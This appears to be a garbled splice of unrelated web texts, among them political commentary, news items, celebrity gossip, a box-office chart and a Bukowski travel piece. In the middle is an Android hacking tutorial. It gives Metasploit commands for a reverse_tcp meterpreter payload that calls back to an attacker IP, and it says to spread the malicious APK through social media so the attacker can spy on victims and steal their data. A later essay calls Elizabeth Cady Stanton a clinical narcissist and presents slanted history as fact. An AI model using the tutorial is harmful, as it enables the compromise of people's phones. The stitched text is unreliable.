The financial future of America hangs in the balance as congress attempts to solve a colossal mistake: the infamous sequester. The problem begins where the vast majority of life’s problems do: money. It truly goes beyond that though, this possible devastation looming on the economic horizon was caused by negligence, a lack of preparation, a political schism and the sheer incompetence that plagues our political system. Congress is to blame for all of this nonsense, but I’m sure they are unbothered by it (How could they with those big-money salaries?).
In 2011, with the debt limit on the rise and republicans demanding budget cuts, President Barack Obama signed the Budget Control Act. The signing of this act would be more problematic than any of us could have ever imagined. Then, at 11:59 pm on March 1, we all had a new reason to believe. We had a reason to believe that big brother does what he wants, when he wants!
When the Budget Control Act was signed, it allowed for cutting of funds, yet no one took initiative to decide where these cuts come from or how they would be divided. Democrats and republicans were unable to come to an agreement (shocker of the century right there) on where to make the cuts. The duty was to be taken on by the Congress Joint Select Committee, who also couldn't reach a decision. This indecision has lead to cuts coming from the most vital of places (I don’t care if I come off like a cynic, we pay congress to make decisions. The fact that they can’t when so much is riding on a solution is absolutely ridiculous).
As far as the financial cuts go, they reach virtually every facet of importance: education, law enforcement, disaster relief, unemployment benefits, non-profit organization funds, military operations, national security and scientific research. Each and every single one of the programs being cut is of the utmost significance to this country and its long-term well-being. It’s a scary thought because our government may potentially be sucking the life out of the American infrastructure by cutting programs that play an integral part in keeping the wheels of capitalism and democracy spinning (not to mention protect us from the danger constantly surrounding the free world).
Jen Hodges Blocked Unblock Follow Following Sep 23, 2017
Step one: Quit whatever MLM you’re a part of. Herbalife. Beachbody. R&F. LuLaRoe. These companies are predators and will suck you dry. They will leave you in the dust with debt and inventory.
They will speak to your yearning of the American Dream. They will whisper in your ear for as long as they can get away with it.
Then…
They’re gone. You dropped your panties and took that big MLM dick, and you got fucked.
So get out now.
Step two: Find a niche. Find a vocation. Find the 3–4 skills you’ve got that can tilt the axis for you. Find out who digs on those skills. Market. Network. Give. Be relentless. Be more skilled. Learn. ALWAYS learn.
You’re not a bad person for joining an MLM. You wanted more for your children. We get it. Now’s your chance to cut your losses. Nobody’s laughing at you. We are cheering for you.
The document's making waves because it is easy to verify - (PDF) it is dated November 29th, 2001, and bears the signatures Deputy Assistant Attorney General John G Malcolm and FBI general Counsel Larry R. Parkinson. A web search quickly produces little reason to doubt their signatures are genuine, while this document (PDF) appears to be a superset of the one Crikey found and looks decently official. Another signatory, Alex Arena of Reach's half-owner Pacific Century CyberWorks (PCCW), also likely worked for that company at the time.
But it's also easy to find documents that carry identical terms and conditions, such as this one (PDF) signed by carrier TerreStar.
We can therefore set aside any conclusion that the documents represent new revelations into the US spookery apparatus. But they remain of interest, for two reasons.
The first is that at the time the deal was signed, Reach was half-owned by Australia's dominant Telstra, which at the time had the government of Australia as its majority shareholder. The document therefore represents, if one looks at it in just the right way, one government giving another the right to inspect traffic and store data carried by an entity it owns. Throw in the fact that Australia's government of the day was a very, very, firm US ally and things get even more interesting.
The second notable element is that the document offers more detail about how the USA's intelligence agencies go about their business.
The TerreStar document is text and the Reach document is a scan, so in the name of authenticity it's best if we bring you screen grabs of its contents rather than transcribing it. If you want to verify the text, the TerreStar document gives you the chance to do so.
Here's a telling clause on data retention:
Article 2.1 (b) of the document
Here's an example of what the FBI and DoJ expected Reach would “have the ability to provide in the United states,” if and when asked nicely.
Article 2.3, clauses (d) and (e)
There's even a reporting requirement in case some other pesky government makes a monitoring request.
Little seems to have changed from the time of the Reach document's signing, 2001, and the 2009 date on the TerreStar document.
In these post-Snowden times, it's not hard to suggest the document looks like another smoking gun for those building a case that US snooping knows no bounds and no shame. Throw in the fact that the Reach document was signed just weeks after 9/11 may see conspiracy-lovers get even foamier, although the missing signature from Telstra may cool that ardour. A sounder conclusion could be that this is more or less a pro forma document, albeit a pro forma that confirms the US is peering into all sorts of stuff.
Sen. Al Franken (D., Minn.) said Tuesday on MSNBC that American college student Otto Warmbier was murdered by the North Korean regime that held him for 17 months.
Warmbier, 22, died Monday after returning to the U.S. from North Korea, where he had been imprisoned for 17 months. Warmbier was medically evacuated from North Korea in a coma. It is unclear what the original source of Warmbier's state was, but many believe its cause was mistreatment by the infamously brutal North Korean government.
MSNBC host Katy Tur asked Franken if he believed Warmbier had been murdered.
"I think this is the equivalent to murder, yeah," Franken said.
"They had them in his custody, and we hadn't seen him until he comes back in this coma. Yeah, that's the equivalent of murder to me. If I were the parents I would consider that, and I consider it that," he said.
1) The IP of the attacker: 192.168.8.94 (lets assume in my case.)
2) Attacker will need a port for receiving connection from other's system: 443
What I s Y our Requirements:
1. F irst you need Metasploit framework ,(In this tutorial we are going to use Kali Linux 1.0.6 ),if you have not install kali in your system then search for this tutorial on this site.
2. Obviously you need a Android device (we use LG android 4.4 KitKat)
Step by Step Hacking Android Smartphone Tutorial using Metasploit:
S tep:1) F irst of all simply Open terminal if you don't know how simply press CTRL + ALT + T
S tep:2) After that you'll need to utilize the Metasploit payload framework by using below given code.
msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address> LPORT=<port_to_receive_connection>
Here make sure that you need to enter attacker IP address and here we considered ip as 182.158.18.67 (this is the static ip of attacker not dyanamic), if you don't understand please see beelow picture
S tep:3) Now goto your console if you don't know how to go to consol window simply Type msfconsole.
Info:
use exploit/multi/handler –> we will use Metasploit handler
set payload android/meterpreter/reverse_tcp –> make sure the payload is the same with step 2
step:4) A fter doing this The next step is you'll need to configure the switch for the Metasploit payload.
Info:
set lhost 192.168.8.94 –> attacker IP address
set lport 443 –> port to listen the reverse connection
exploit –> start to listen incoming connection
S tep:5) NOw in this way attacker get a apk file or we can say malicious apk file and he need to only start distributing it via any medium for example facebook,whatsapp twitter etc.
S tep:6) Now suppose i am the victim and download that malicious application and install it in my phone.And after my installation process attacker Metasploit console get something about me like this:
S tep:7) The mean of above given screen is ,attacker hack your phone successfully and he will be able to get enough data from your smartphone , It's mean attacker can do everything with your mobile he can spy on you ,steal your sensitive data become very easy task for him.
S ecurity T ips:
U.S.'s Post-Afghanistan Counterinsurgency War: Colombia
Rick Rozoff
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The Pentagon announced on April 23 that Defense Secretary Leon Panetta has begun a trip to South America, arriving in Colombia as part of a three-nation tour that will also take him to Brazil and Chile.
It is his first trip to the continent as Pentagon chief, though he has visited often in other capacities, including as director of the Central Intelligence Agency. Panetta's meetings with top government and military officials in the three nations will follow those of America's top military officer, chairman of the Joint Chiefs of Staff General Martin Dempsey, to Colombia and Brazil late last month.
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Panetta's mission also occurs two weeks after U.S. and Brazilian presidents Barack Obama and Dilma Rousseff met in the White House on April 9 and agreed on the establishment of the U.S.-Brazil Defense Cooperation Dialogue, announcing that Defense Secretary Panetta and Brazil's Defence Minister Celso Amorim will hold the first meeting in that format on April 24.
Colombia is the largest recipient of U.S. military aid in Latin America, though its population is less than a quarter of Brazil's, and the third largest in the world after Israel and Egypt.
After the passage by Congress of the Clinton administration's Plan Colombia in 2000, the military in Bogota has received approximately $7 billion in U.S. assistance, up from $50 million in 1998 when it was already the biggest beneficiary of American military aid in Latin America.
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On October 30, 2009 the Obama administration and that of then-Colombian President Alvaro Uribe agreed on the U.S.-Colombia Defense Cooperation Agreement, which opened up three Colombian air bases, two naval bases, two army installations "and other Colombian military facilities if mutually agreed" to the Pentagon.
One of the bases obtained by the United States, the Larandia Military Fort in Florencia, is within easy striking distance of Ecuador, as the Alberto Pawells Rodriguez Air Base in Malambo is of Venezuela.
Colombia launched a deadly attack against rebels of the Revolutionary Armed Forces of Colombia (FARC) inside neighboring Ecuador in 2008, which the Ecuadorian government accused U.S. special forces personnel inside its country of having assisted. The following year the Colombian armed forces conducted an incursion inside Venezuela, seizing four border guards.
Panetta is in Colombia to coordinate a final offensive against FARC fighters, who have been battling the country's narco-autocracy and its political minions in Bogota since 1964.
According to Acting Assistant Secretary of Defense for Public Affairs and Pentagon Press Secretary George Little, the defense secretary is to meet with Colombian Defense Minister Juan Carlos Pinzon Bueno and General Alejandro Navas, General Commander of the Military Forces of Colombia.
On April 23 Panetta praised his military ally, stating, "Colombia, to its credit, has done a tremendous job in going after the FARC." He failed to mention with, in addition to $7 billion dollars of Washington aid, U.S. helicopter gunships, planes, trainers and special forces troops.
Pentagon spokesman Little added, "Clearly we still have plenty to talk about in continuing to support the Colombians in their efforts against [the FARC]..."
When chairman of the Joint Chiefs of Staff Dempsey was in Colombia on March 27-28, the Defense Department website reported that he visited Joint Task Force Vulcano, "a new interagency force aimed at defeating the Revolutionary Armed Forces of Colombia...The strategy calls for Colombia to cut the FARC forces in half in two years."
In Dempsey's words, "They selected 2014 as a key moment for them, They want to accelerate their effects against the FARC." With the Pentagon's active connivance and assistance, which why is Dempsey was and Panetta is in the country.
Dempsey was explicit about the American role in the "final solution" of the Colombian civil war: "We're getting ready to send some brigade commanders who have been in Iraq and Afghanistan down here to partner with their Joint Task Force commanders in a leader developmental function. The challenges they face are not unlike the challenges we've faced in Iraq and Afghanistan."
The Pentagon's website reported the following on March 27, worth quoting in detail.
Dempsey "joined virtually the entire Colombian defense leadership to visit Joint Task Force Vulcano," just outside the town of Tibu, only three kilometers from the Venezuela border.
"The Colombian government established the task force in December. It is the latest effort to defeat the Revolutionary Armed Forces of Colombia...
"Dempsey arrived at the base in a Colombian Air Force Mi-17 helicopter along with Colombian Defense Minister Juan Carlos Pinzon Bueno and Gen. Alejandro Navas, commander of the Colombian Armed Forces.
"Following his comments, Dempsey discussed strategy with the minister and the chief of defense and also Army chief Maj. Gen. Sergio Mantilla Sanmiguel, Navy chief Vice Adm. Roberto Garcia Marquez and Air Force chief Maj. Gen. Tito Saul Pinilla-Pinilla.
"Before Joint Task Force Vulcano stood up, there were a small number of troops in the region. Now there are more than 10,000, [spokesman for the task force, Colombian army Captain Jose Mojica] said. The forces are composed of three mobile brigades and a geographic brigade. A fourth brigade is getting ready to deploy to the area.
"This is all part of an ambitious Colombian strategy to cut the FARC by half in two years. U.S. Embassy officials said there are about 8,000 FARC members now. Colombian officials spoke of the plan as the end game for the rebellion against the government after 48 years of intermittent war."
Immediately before Dempsey's visit to Colombia, U.S. Army South held talks with the Colombian armed forces in Bogota from March 19-23.
Three years ago CBS News quoted an unnamed Pentagon official stating, "The more Afghanistan can look like Colombia, the better." The equation is now being reversed.
Other top U.S. defense and military officials have for years spoken of "coming back home" to the Western Hemisphere as the war in Afghanistan winds down.
Most models of primordial black holes propose that they formed during the first few milliseconds of the Universe. Depending on the model their hypothetical sizes range from tiny ones the mass of a small mountain, to large ones dozens of times more massive than the Sun. There has been a great deal of effort to observe primordial black holes, but so far there has been no signs of them. For this reason, primordial black holes have not been a popular solution to the dark matter problem. There would have to be lots of primordial black holes out there to account for dark matter, and their presence would be seen by things like the gravitational lensing of starlight.
The recent detection of gravitational waves, however, has rekindled interest in dark matter black holes. The LIGO observation saw the merger of two black holes roughly 30 solar masses in size. This is curious, because we'd expect stellar collapse black holes to have less mass than that, and intermediate mass black holes found in star clusters typically have more mass than that. It's hard to imagine how the LIGO black holes could have formed from either stars or mergers, but they do fall within the upper range of primordial black hole models. They also fall within the mass range that's hardest to rule out as a dark matter candidate.
A recent paper in the Astrophysical Journal Letters argues that black holes like the ones seen by LIGO could account for dark matter. To support this idea, Alexander Kashlinsky looked at fluctuations in the cosmic infrared background. Unlike the cosmic microwave background, which is the thermal remnant of the big bang, the cosmic infrared background is caused by a wide range of processes that produce infrared light, such as heated gas within galaxies. Fluctuations in this background can tell us about the structure of its sources. Kashlinsky compared infrared fluctuations with the distribution of known sources such as galaxies, and found some of the fluctuations couldn't be accounted for by known sources. The scale of these fluctuations agrees with a dark matter distribution of LIGO-mass black holes. So it's possible that black holes could explain dark matter after all.
There are reasons to be cautious however. In addition to black holes, there are other models that could explain the fluctuations of the infrared background. There's also the fact that while LIGO has found black holes on the order of 30 solar masses, we don't know if such black holes are common or rare. However further observations of the infrared background and the gravitational waves from black hole mergers can answer these questions. If LIGO-mass black holes turn out to be quite common, then the great mystery of dark matter could be solved by primordial black holes after all.
My partner, with whom I have a three-year-old child, is becoming increasingly rightwing. He was not like this when we met. He voted to leave the EU, voted for Ukip and is a fan of Donald Trump. He consumes news addictively, including rightwing websites, and is passionate about political affairs. I don’t want my daughter to grow up in a house where we argue about politics all the time, but we both feel so strongly. He is increasingly pleased about the changing state of world politics and it is really upsetting me. Does anyone have any advice on how to manage this domestic political battle?
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The problems Alexa Curtin faces at this time stem from crimes she pleaded guilty to back in 2015 and for which she is still on probation. Fans of the Real Housewives remember Lynne Curtin and her family from a few seasons ago as the people who had their home seized on camera as their marriage melted down. Lynne Curtin’s oldest daughter, Alexa, also has a pending matter against the police department.
But Lynne Curtin isn’t the only RHOC parent to deal with adult children and legal problems, as Lauri Peterson’s son Josh Waring is facing attempted murder charges and has a long history with drug addiction. Josh Waring is being held for trial for shooting Daniel Lopez, and authorities believe the shooting was drug motivated. Josh Waring has a history with heroin and was in and out of rehab when his mother, Lauri Peterson, was on RHOC. Sources close to the situation say that Lauri Peterson is aware that Josh is facing serious time behind bars.
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At this time, Alexa Curtin is not facing the kind of time that Josh Waring might serve, but she has violated her probation, and for that, she is going to do 30 days in the county jail. The daughter of Lynne Curtin has probation issues leading back to her theft and assault and battery conviction in 2015 when she stole from Macy’s and, later that same day, attacked a woman only mentioned in court records as Jane Doe.
Last month, a judge overseeing the probation of Alexa Curtin claimed that she had violated her probation and sentenced her to 30 days behind bars and extended her probation to run through 2019. But things get even more complicated because after Alexa Curtin was arrested in 2015, she filed charges against the police claiming that they had sexually assaulted her back in 2014 during what she alleges was a routine traffic stop. The trial in this matter will happen later this year, but currently, there is no date available.
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Some sources say that RHOC’s Alexa Curtin has a credibility problem, because she did not report the alleged crime in a timely matter and because she was also hiding her career in the adult film industry from her family, including her mother. Around the same time she says she was assaulted by an Orange County police officer, Lynne Curtain discovered that Alexa was making adult films under the name of Jayden Taylors in order to pay for plastic surgery. Lynne explained that she believed that Alexa was making good money modeling lingerie and was shocked when she found out about the daughter’s secret.
“When I found out that Alexa was involved in porn I became physically ill.”
Just before the alleged 2015 assault, Alexa Curtin had a few additional run-ins with the police, including public drinking and intoxication and several calls to her home for domestic violence.
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Jeremy Jass, the lawyer for RHOC star Alexa Curtin, says that Curtin did not file a police report back in 2014 or tell anyone for fear of retaliation.
“Alexa didn’t make a police report because she was concerned that she would suffer some retaliation from the department. She was afraid that the perpetrator would find out about the complaint and he could find out where she lived or what kind of car she drives and the license plate. She figured she wouldn’t be too hard to track down.”
Are you surprised that RHOC star Alexa Curtin is back in trouble? Were you as shocked as her mother about her adult movie past?
The primary organizer of the convention was Elizabeth Cady Stanton, a clinical narcissistic with serious issues relating towards male approval. Lucretia Mott – Stanton’s sidekick – also exerted a serious level of influence on the convention, but she was little more than an instrument for Stanton’s ideological views.
Elizabeth Cady Stanton
Elizabeth Cady Stanton is quite possibly one of the most influential people in American history. Her psychologically deficient childhood birthed her feminism. She was born into great wealth with a father who was a prominent lawyer; there were eleven children born into the family, five of whom died in early childhood. This caused her mother to fall into a life-long depression. Her father’s robust professional life prevented him from having a great influence on her directly. The parenting in the family fell to the eldest daughter – never a good situation.
Stanton took to her father’s legal library and began to develop a knowledge base. She attended elite primary schools and won awards for her debating skills. Her father famously remarked after her getting an award, “How I wish you were a boy!” Stanton took this comment to believe that he valued boys over girls. In reality, he valued them differently, not the same. A key error in feminism is that they assume men and women are the same and as such, valuing a man for this and a women for that necessarily means a person values the man over the woman.
However, we see the profile of a woman desperately seeking the approval of men, starting with her father. Her mother was a supremely weak person and that probably fueled her own inability to value a woman’s distinct contribution to a marriage and childrearing. As such, she found a weak man to marry and took on the role of “voluntary motherhood.” She rubbed elbows fellow 1%’ers in New York City and loved the intellectual debate – probably all fueling her narcissism as she got to feel superior to men as a class if she bested a man in a debate.
Eventually, she moved to Seneca Falls, where she fell into depression because of the lack of intellectual stimulation, in which she did not get her narcissistic self-preening validated. She traveled to London in 1840 to the Anti-Slavery convention, where she met Lucretia Mott. The two bonded over women’s rights, as they were not allowed to speak or vote at the convention. The organizers were rightfully worried the two would derail the convention with women’s rights rhetoric.
Lucretia Mott
Lucretia Mott, herself, was a Quaker and was primarily interested in abolishing slavery. Her interest in women’s rights paled in comparison to Stanton’s, especially as Stanton radicalized her views. Mott was interested in expanding social respect (worship) for women’s roles in society. Women like her were strong proponents of women as men’s moral superiors. She was opposed to female suffrage, noting that politics are corrupt and subject to power relations that prevent true morality from being expressed. Mott observed that voting isn’t as relevant as Stanton thought.
However, their deep friendship and mutual correspondence lead to the Seneca Falls Convention. Predictably, the narcissistic Stanton insisted it be in the town in which she lived, which is quite the demand in a world that doesn’t have the automobile. Regardless, around 300 people showed up the event headlined by Stanton and Mott. It was held in late July during a heat spell.
On the first day, men were required to be silent as the two headliners talked about the importance of women’s rights as general concept. Stanton recited her “Declaration of Sentiments” in the morning session. Later that day, debates over female suffrage occurred, with a “humorous” recounting of a woman’s idea that she works so much harder than her husband – her slaving away all day while he comes home from work to sit around. That woman is already admitting she has class privilege as not many men worked outside the home in such a manner in America.
Fredrick Douglass
The second day was the most important. Stanton’s declaration was adopted by the entire convention, with men’s and women’s signatures segregated on the basis of sex – in the name of equality, of course. What is most striking is the only black person allowed to the event – Fredrick Douglass – gave a rousing speech about the equality of all people, black and female, that is often cited as marrying the nascent women’s rights movement and abolition as one. That isn’t what really happened.
Before considering race and voting rights, consider the roots of Christianity in women’s rights. Stanton herself distanced herself from Christianity, but she knew if she was to reach women, she needed to use Christianity. Her declarations were couched in Biblical exhortations. She argued that female happiness was the touchstone for social approaches to sex relations, but then would argue men and women were created equal by God. She used Christianity to appeal to women, but knew that she could never get the world she wanted purely through Christianity.
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In the end, she knew that she could get to women via naked emotional appeals; the problem was she was not a great orator nor had the ability to relate to women at large because she was a narcissist. So, she used Mott to give rousing speeches to the women in the evening sessions. Mott was the one that cemented the convention, as her speeches brought tears to the eyes of women and laid the groundwork for Stanton’s radicalism.
The convention ended with a good bit of fanfare. Unlike what any feminist would tell you, the convention was met with, in totality, tepid approval. There were many newspapers & intellectuals that did not approve of the convention, but a very good bit of people agreed with the convention. The ideas that women should have easier access to divorce, custody rights and independent income streams wasn’t as radical as some would argue. The radical idea was women’s right to vote.
In the aftermath of the Civil War, a few Constitutional Amendments were considered. The least controversial one, the 13th Amendment, officially abolished slavery and involuntary servitude. However, a serious rift developed in the women’s rights movement – between those who supported universal enfranchisement for all men, and those that did not and insisted on an equal voting rights Amendment that included women.
The 14th & 15th Amendment concerns discrimination based on race and black male voting rights. The impetus for the 14th Amendment was to ensure equal enforcement of the laws for both whites and blacks. Of course, it took over 100 years to see this idea reflected in reality.
Stanton, and many of her supporters, refused to support either Amendment, saying it should not be in the Constitution if women are not included. This caused quite the rift in the movement, as many women’s rights activists were white supremacists. Others were put off by Stanton’s insistence that black and female emancipation should be tied at the hip.
Fredrick Douglass argued that white women already enjoyed class privilege, marriage privilege and the fact many women can bend their husband’s ears, as well as their son’s and brother’s. Stanton and her supporters had a bad reaction to his assertions, claiming all men were privileged in society. He eventually backtracked in his comments, eventually suborning himself to Stanton’s views. Yes, in the 1860’s, early feminists believed black men enjoyed privilege that white women did not. Douglass stood by when Stanton relied on highly racist language in order to move white female approval away from both Amendments; he stayed by her side as a friend and never spoke ill of her, even as he knew women like Stanton wanted to hijack the civil rights movement in order to push women’s rights causes.
That had been Stanton’s whole life, inserting herself wherever possible in order to talk about herself, although she masked that self-absorption by claiming to be talking about women as a class. Clearly distraught black people were getting legal protections that women didn’t have, she demanded to marry women’s rights and equality between whites and blacks because she felt that black people were achieving too much before women did.
In her life, women came first. Even just after the ending of slavery, this woman was spitting rhetoric of male privilege into the faces of black men. Douglass was powerless because feminism is a movement for white women and, as such, he had little to no ability to alter it. As such, she was able to maintain her delusion that all men had this inalienable privilege – in her world, even newly freed black men enjoyed social privilege that white women could not enjoy.
The takeaway lesson here isn’t at all about what rights women or men should or shouldn’t have, but simply the completely self-absorbed roots of American feminism. Notice how feminists think agency and being strong is showing off their actions at men. That is how Stanton approached life, as her life was one massive project aimed at garnering male approval for her mind, intellectualism and ideas. Of course, like with any narcissist, once she gets the approval she immediately devalues said person – her husband was a perfect example of this as she clearly had little regard or respect for the man.
Stanton and her convention was about her desire to be able to show men her capabilities as more than a wife and mother. She started with herself and multiplied her desires to one-up men across all women. That is never healthy and can only result in a self-absorbed ideology focused exclusively on garnering approval, only to ruthlessly devalue those who give them approval.
Which turns out to be today’s American feminism.
San Francisco police say a witness saw a group of suspects jump out of a double parked car in the area of Union and Taylor Streets around 10:30 a.m. and attacked a victim in an attempt to take her purse.
Lyft driver Drew Gage also saw the assault after the victim screamed and chased the suspects down.
“It was a blood curdling sound and it stopped me in my tracks. I looked and I saw all four girls sprinting down the block holding her bag,” Gage told KPIX 5.
Drew confronted the teenage girls as they climbed into what turned out to be a stolen car, but one of the suspects said she had a gun.
“When the driver said that she had a gun, I pulled on the hood of this girl’s sweatshirt.”
Drew didn’t see a gun, but kept his eyes on everybody’s hands.
“One of them yelled at the driver, go go go. They didn’t floor it, but the wheel was running over the tip of my foot.”
Fun fact I learned today: The Top Gear Test Track was originally a Royal Canadian Air Force base built during the second world war, so it’s literally a part of my heritage. I’ll definitely be thinking about that the next time Top Gear puts a semi-famous British celebrity in a Vauxhaull Astra and sends them round the track – an experience I can now better sympathize with thanks to this new Street View addition.
Living in Los Angeles, it is very easy to cross paths with the former poet laureate of Skid Row, Charles Bukowski. From the most mundane daily task of sending a letter at the USPS Terminal Annex in Downtown L.A. to drinking in any of the numerous dive bars scattered throughout the Southland, you may find yourself living some shades of Bukowski novel in a variety of places. He is to Los Angeles as Woody Allen is to New York—in a seedier, dirtier dirty old man kind of way: An artist who defines a city (both named works after neighborhoods in their towns, Hollywood and Manhattan) and, simultaneously, an artist whose city defines him.
Most every dive bar in town may somehow embody his spirit—or at least that of Henry Chinaski, Bukowski’s literary alter-ego—but as to which are home to his ghost, there is little consensus. The Frolic Room, on Hollywood Boulevard, seems to be the one place that the public record (i.e., Bukowski fan websites) can agree upon as a former hangout. But Bukowski has to compete with another former regular, L.A.’s most famous dead girl, Elizabeth Short—otherwise know as the Black Dahlia.
There is no debate, however, about where Charles Bukowski is buried. He now lays in plot number 875 of the Ocean View section of Green Hills Memorial Park in Rancho Palos Verdes, just down the road from San Pedro, where Bukowski lived with his wife from 1978 until his death, from leukemia, in 1994. The headstone bears a simplified graphic of a boxer and the epitaph “Don’t Try.” Ask for him by name or by plot number and someone at the cemetery will help you find Hank’s resting place. If asked by number, they’ll most likely laugh and point you toward the grave with all the beer bottles. But Green Hills Memorial Park is no Père Lachaise and Bukowski’s tombstone doesn’t have quite the same draw as Jim Morrison’s as a destination for public sex, so there is no fence, no security. You’re welcome to hang out as long as you like—bring the man a drink, or, like we found evidence of, a Marlboro Light with THANKS written on the butt in black Sharpie. Affection takes all forms.
Figure skating buffs or Russ Meyer fans may choose to follow up a visit to Buk with a moment spent at the graveside of Rhode Michelson (champion skater) or John Logan (Beyond the Valley of the Dolls actor). But if those hold no draw, make an afternoon of it by grabbing a drink (consuming alcohol at inappropriate hours is the only real way to honor Bukowski’s legacy) at one of the many dive bars in San Pedro, a number of which are located within stumbling distance of each other on Pacific Avenue.
Harold’s Place is a good starting point. It’s the kind of dive bar that, more than ten years after the ban on smoking in public establishments, patrons can still enjoy a beer and a cigarette from the comfort of their bar stool; the kind of bar where the Latina women nursing a Corona at two in the afternoon yells out “pendeja!” occasionally, at no one in particular. Complete with un-ironic taxidermy for decoration, it is without a doubt the kind of bar you could imagine Charles Bukowski drinking in.
But did he ever go there? Chances are, no. According to Linda Bukowski, Hank never went out to bars during his years in San Pedro. He had moved on from whiskey-and-water to German white wine and imported beers, enjoyed in the comfort of their home.
But Chinaski? He was a regular, for sure.
Some reporters are writing Adam Sandler’s box office obituary today after the less-than-spectacular $24M bow for Sony’s Pixels which cost a reported net $88M. If the budget was lower, we’d be raving about what a profitable success it is. Tracking was way off on this one heading into the weekend, with non-Sony analysts seeing a $30M-plus opening.
It’s a bit much to sentence Sandler to movie jail; he’s shown more comebacks at the box office after bombing than most stars. But Pixels’ domestic under-performance comes at a bad time for the leading comedy man when his bows are down from his $30M-$40M opening highs. Sandler is at a point in his career where he might have to take on all the risk to prove that he has another upswing in him. His Netflix features — December 11’s Ridiculous Six and the upcoming The Do Over — arrive at a prime time when he can potentially re-invent himself to audiences and his fans.
Final global bow for Pixels was $49.1M, and the jury is still out in regards to how far this Chris Columbus-directed film can travel abroad. Non-Sony film finance sources tell us that if Pixels posts slightly north of $200M worldwide, which is where the actor’s family pic Bedtime Stories landed, and another $150M in home entertainment/foreign TV and ancillaries, it would be on its way to break even.
When it comes to blaming Pixels stateside misfire, some in the industry point to the movie, not Sandler. Observed one rival studio distribution chief, “It was a feathered fish, a bad idea to begin with that was more expensive than Adam’s other films. The majority of kids didn’t care and his R-rated audience didn’t turn up for evening showtimes”. Not to mention, Pixels didn’t star any of Wreck It Ralph‘s co-stars, the ones that boys truly care about, read Sonic the Hedgehog and the Mario Brothers. Heck, if Sandler folded Minecraft into Pixels, he would have dynamited all those boys away from their YouTube walk-throughs on a Friday night instead of banking that Dads would pull them into the theater for Pac-Man and Donkey Kong.
Other stars in their solo outings have shown greater strain in their downward B.O. spirals in the last year, read Johnny Depp (Transcendence, Mortdecai) and Vince Vaughn (Unfinished Business). Sandler, on the other hand, has shown a resilience at the B.O. Pixels is 67% higher in its opening than Sandler’s PG-rated Blended bomb ($14.3M/$46.3M domestic B.O.). A year and a half after eating crow with 2000’s Little Nicky ($16.1M/$39.5M), Sandler bounced back with Mr. Deeds ($37.2M/$126.3M). A year after 2012’s That’s My Boy ($13.5M/36.9M) tanked, he returned with Grown Ups 2 ($41.5M/$133.7M). For a Sandler family film, Pixels’ stateside bow is just under where Bedtimes Stories ($27.5M) and Jack And Jill ($25M) opened.
China Film Group’s investment in Pixels can’t be dismissed, guaranteeing theatrical space for Pixels when it bows on September 15 (LStar also co-financed). Sandler overperforms in Latin America. The videogame element is likely to appeal to Japanese audiences when the film opens there on September 12. Not to mention of bulk of heavy duty territories have yet to play Pixels, despite its presence in 40% of all foreign territories with its foreign roll out as follows: Italy (July 29), Germany (July 30), Austria & India (July 31), UK (August 12), Malaysia & Singapore (August 13), Hong Kong (August 20) and Australia (September 10).
Initially, it seemed as though the mix of $20M-plus films toward the top of the charts would lead us to an up weekend. That’s wasn’t the case with Rentrak reporting ticket sales at $149.9M, off 3% from a year ago. Nonetheless, 2015 ticket sales for January 1 – July 26 of $6.6B continues to rage ahead of the same period a year ago. Weinstein Co.’s Southpaw has solidified excellent word of mouth among adults. Among the top 15 films on Sunday, it had the best hold from Saturday, dipping 15%. Mission: Impossible – Rogue Nation and Vacation arrive to wake audiences this weekend. Read our preview here.
Most of the films in the top 10 bested their Sunday AM studio estimates.
1). Ant-Man (DIS), 3,868 theaters (+12) /3-day cume: $24.9M (-56%)/ Per screen average: $6,440 /Total cume: $106.2M/Wk 2
2). Pixels (SONY), 3,723 theaters / 3-day cume: $24M / Per screen: $6,450 /Wk 1
3). Minions (UNI), 4,066 theaters (-245)/ 3-day cume: $22.9M (-53%)/ Per screen: $5,640/ Total Cume: $262.5M / Wk 3
4). Trainwreck (UNI), 3,171 theaters (+13)/ 3-day cume: $17.3M (-43%)/Total cume: $61.5M/ Wk 2
5). Southpaw (TWC), 2,772 theaters /3-day cume: $16.7M / Per screen: $6,025 / Wk 1
6). Paper Towns (FOX), 3,031 theaters /3-day cume: $12.65M / Per screen: $4,174 /Wk 1
7). Inside Out (DIS), 2,717 theaters (-546)/ 3-day cume: $7.4M (-36%) / Per screen: $2,729 / Total cume: $320.4M/ Wk 6
8). Jurassic World (UNI), 2,645theaters (-472) / 3-day cume: $7.2M (-37%) / Per screen: $2,715 /Total cume: $624.1M/ Wk 7
9). Mr. Holmes (RSA/Miramax), 686 theaters (+325) /3-day cume: $2.9M (+18%)/ Per screen: $4,181 / Total cume: $6.45M/Wk 2
10). Terminator: Genisys (PAR), 1,702 theaters (-1,112) / 3-day cume: $2.4M (-55%)/ Per screen: $1,421 / Total cume: $85.68M/ Wk 4
11). Magic Mike XXL (WB), 1,440 theaters (-1,137)/ 3-day cume: $1.9M (-58%) / Per screen: $1,304 / Total cume: $63.1M/ Wk 4
12). Gallows (WB), 1,202 theaters (-1,518) / 3-day cume: $1.2M (-71%) / Per screen: $983 / Total cume: $21.35M /Wk 3
13). Ted 2 (UNI), 696 theaters (-886)/ 3-day cume: $971K (-63%)/ Per screen: $1,395 / Total cume: $79.6M /Wk 5
14). The Vatican Tapes (LG), 427 theaters /3-day cume: $832K / Per screen: $1,949 /Wk 1
15). Max (WB), 665 theaters (-843)/ 3-day cume: $771K (-60%)/ Per screen: $1,160 / Total Cume: $39.8M / Wk 5
16). Spy (FOX), 539 theaters (-400)/ 3-day cume: $768K (-49%) / Per screen: $1,425 / Total Cume: $108.1M / Wk 8
17). Amy (A24), 370 theaters (-65) /3-day cume: $727K (-35%)/ Per screen: $1,964 / Total cume: $5.5M/ Wk 4
18). Mad Max: Fury Road (WB), 345 theaters (+77)/ 3-day cume: $418K (+9%)/ Per screen: $1,212 / Total Cume: $151.6M / Wk 11
19). Baahubali (Telugu) (BSKY), 125 theaters (0)/ 3-day cume: $347K (-66%)/ Per screen: $2,774 / Total Cume: $6.7M / Wk 3
20). San Andreas (WB), 266 theaters (-136)/ 3-day cume: $334K (-43%) / Per screen: $1,255 / Total Cume: $151.9M / Wk 9
Notables:
Baahubali (Hindi) (BSKY), 50 theaters / 3-day cume: $212K/ Per screen: $4,235 / Wk 1
Phoenix (IFC), 2 theaters / 3-day cume: $30K / Per screen: $15,148 / Wk 1
Only You (CLE), 14 theaters / 3-day cume: $27K /Per screen: $1,951 / Wk 1
The scheme is hoped to discourage the widespread practice of aborting female foetuses, which has led to a gender imbalance in parts of the country.
